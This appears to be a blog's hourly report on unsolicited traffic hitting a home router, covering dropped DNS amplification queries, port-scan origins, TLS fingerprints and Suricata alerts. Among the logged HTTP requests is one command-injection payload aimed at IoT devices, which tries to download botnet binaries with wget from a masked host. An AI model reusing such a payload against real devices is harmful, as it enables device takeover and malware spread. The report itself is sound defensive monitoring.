One hour on the Dojo’s WAN front, 07:00-08:00 on November 1, 2026, told minute by minute. The sniffer sits on the mirror, ahead of the firewall: it sees everything that knocks, including what will never get in.

An honest preamble. In this window the sniffer saw 320,508 packets reaching our public address. Most of it isn’t an attack: it’s the return traffic of normal browsing. The siege is the unsolicited slice, the part that knocks on the router and the firewall throws away — and here it is.

The play-by-play, minute by minute

07:01 — Window opens. 186 DNS hits dropped immediately; the pace is already high.

07:11 — Hourly peak: 423 hits in one minute. The machine holds steady with CPU at 2.2%.

07:59 — Close. Total 14.571 unsolicited DNS queries dropped, 1.838 other attempts blocked.

07:00-08:00 — Seven days ago, at the same hour, 7.646 DNS queries were dropped.

07:00-08:00 — JA3: 3 fingerprints from 5 sources, the most hit 720 times. Same tool hammering away.

07:00-08:00 — JA4: 3 fingerprints, the most hit 374 times. More precise than JA3, distinguishes TLS versions. 2 match Sliver Agent (FoxIO).

07:00-08:00 — Clear-text HTTP: 18 requests. Most frequent «GET /» (14). User-agent: «visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/[ip] Safari/537.36».

07:00-08:00 — The bouncer who lets no one in: with low CPU, nothing came in or went out.

Where they come from (with a pinch of salt)

Geolocation tells you where the address is registered, not where the person is: behind it there may be a VPN, an anonymizer, a rented server or someone else’s machine. And it has to be read per category.

  • DNS amplification — the “sources” (US 9,853, AE 5,093, CN 4) are forged: they aren’t attacking, they’re the victims the attacker wants the replies rained on. Same as last Sunday, the Dojo would be used above all against US, two times the hits (9,853 against 4,990).
  • Bandwidth test (port 2000) — 0 hits, from —.
  • SYN scans — real source: IT 720, RU 458, BG 309, NL 269, US 268. Same as last Sunday, IT leads the scans, much as they were then (720 against 644).

The hour’s scoreboard

ItemValueNotes
Unsolicited DNS queries, dropped14,571target a.root-servers.net, ANY queries
Other entry attempts, dropped1,838scans and random ports
Bandwidth test (port 2000), dropped0—
Invalid packets, dropped84out of state / malformed
Pings accepted846we let them through on purpose
WinBox 8291 / RouterOS API0management probes
Suricata200 alertsno intrusion
Average CPU2,2%peak 4%, memory flat

Suricata’s verdict

Suricata inspected the stream: 200 alerts, all of a single kind (“SURICATA STREAM 3way handshake excessive different SYNs”) — scan noise. No exploit, malware or intrusion signature: nothing hostile got in.

Compared to last Sunday

The report of Sunday, October 25 covered the same hour of siege. The volume fell: 320,508 packets against 1,794,432, with dropped DNS amplification queries going from 7,646 to 14,571 — sharply up. The CPU stays calm: 2,2% on average against 3,1% then, still trivial numbers. Suricata closes as it did then: no intrusion.

And the machine?

Average CPU 2,2% (never above 4%). Free memory from 1,548 to 1,549 MB. Active connections between 155 and 203. No queue, no alarm.

The scoreboard in charts

320,508packets seen on the mirror in an hour
16,493dropped by the firewall: none got in
423hits in the worst minute (about 7 per second)
200Suricata alarms
4%Maximum router CPU: the siege does not scratch it
Rejected hits, minute by minuteThe pace of the siege, minute by minute: it follows the same pattern as the map below.
15030045007:0007:1007:2007:3007:4007:5008:0007:01 · 186 hits07:02 · 327 hits07:03 · 250 hits07:04 · 39 hits07:05 · 127 hits07:06 · 98 hits07:07 · 147 hits07:08 · 94 hits07:09 · 66 hits07:10 · 97 hits07:11 · 423 hitspeak: 423 at 07:1107:12 · 182 hits07:13 · 302 hits07:14 · 212 hits07:15 · 353 hits07:16 · 171 hits07:17 · 311 hits07:18 · 247 hits07:19 · 222 hits07:20 · 278 hits07:21 · 207 hits07:22 · 265 hits07:23 · 248 hits07:24 · 259 hits07:25 · 327 hits07:26 · 259 hits07:27 · 280 hits07:28 · 310 hits07:29 · 220 hits07:30 · 329 hits07:31 · 233 hits07:32 · 330 hits07:33 · 202 hits07:34 · 307 hits07:35 · 280 hits07:36 · 213 hits07:37 · 258 hits07:38 · 258 hits07:39 · 356 hits07:40 · 155 hits07:41 · 339 hits07:42 · 221 hits07:43 · 300 hits07:44 · 303 hits07:45 · 216 hits07:46 · 266 hits07:47 · 302 hits07:48 · 242 hits07:49 · 298 hits07:50 · 238 hits07:51 · 320 hits07:52 · 205 hits07:53 · 343 hits07:54 · 203 hits07:55 · 341 hits07:56 · 281 hits07:57 · 248 hits07:58 · 315 hits07:59 · 162 hits
DNS amplification: the countries of the VICTIMSSpoofed source addresses: these countries are the targets they wanted to hit using the Dojo, not the attackers.
  • 🇺🇸 United States9,853 66%
  • 🇦🇪 United Arab Emirates5,093 34%
  • 🇨🇳 China4 0%

Main networks

  1. EMBNEX 🇺🇸9,847
  2. LLC VASH KREDIT BANK 🇺🇦5,093
  3. Alibaba (US) Technology 🇨🇳6
  4. Hangzhou Alibaba Advertising 🇨🇳4
Port scans: where they start fromThe country from which the packet originates, not who is behind it: VPNs, rented servers, other people's machines.
  • 🇮🇹 Italy720 33%
  • 🇷🇺 Russia458 21%
  • 🇧🇬 Bulgaria309 14%
  • 🇳🇱 Netherlands269 12%
  • 🇺🇸 United States268 12%
  • 🇬🇧 United Kingdom88 4%
  • 🇨🇦 Canada26 1%
  • 🇫🇷 France21 1%
  • 🇨🇳 China20 1%
  • 🇸🇨 Seychelles18 1%

Main networks

  1. Alviva Holding 🇸🇨455
  2. Aruba 🇮🇹361
  3. Telecom Italia 🇮🇹359
  4. Modat 🇳🇱263
  5. Tamatiya EOOD 🇧🇬203
Who knows what they are looking for: the targeted doorsWho knocks on a single door, or a few, and insists: they want that service. The number tells you how many times they have knocked; hover over the name to see what they are looking for.
Scan · who tries every handleWho has touched at least 10 different doors in an hour, once each, to see which ones open: they are not looking for a specific service, they are taking inventory.
6scanners (grouped by country and network)
768ports tested

The ports that appear most frequently in scans

tcp/14027tcp/13003tcp/19262tcp/19793tcp/9803tcp/8082tcp/41284tcp/11621tcp/28973tcp/9799tcp/37511tcp/61486tcp/42654tcp/51919tcp/42371

Scanner signaturesWhen a program opens an encrypted (TLS) connection, it always introduces itself in the same way: the JA3 fingerprint summarizes that handshake. Same fingerprint from different addresses = same tool, often the same botnet.
3different fingerprints
5sources that identified themselves

Most common fingerprints

  • 9242269f32…720
  • 473cd7cb9f…2
  • 35fa0a83e4…1
What they ask for in the clearUnencrypted HTTP requests received by the router, exactly as written by the scanners. Addresses are masked: [ip] and [host] stand in for the servers from which the worst actors would like us to download their software.
18plaintext HTTP requests

The requests

  1. GET /14
  2. M-SEARCH *1
  3. GET /SDK/webLanguage1
  4. POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm net.arm7; wget http://[ip]/bins/n…1
  5. GET /.svn/wc.db1

How they identify themselves (User-Agent)

  1. visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/[ip] Safari/…2
  2. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/9…1
  3. Mozila/5.01
  4. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1…1
What the firewall didThe router rule counters during the bulletin hour.
  • Dropped DNS requests (amplification)14,571
  • Other dropped packets1,838
  • Accepted pings (responding to ping is intended)846
  • Invalid packets84
  • Rejected bandwidth tests0
  • Attempts on WinBox and API0

The report's hour, on the map.

The map loops the packets of the hour told above, rebuilt from the recorded totals: country of origin and category, no IP addresses. Right-now traffic is on the live map.

Watch the live map →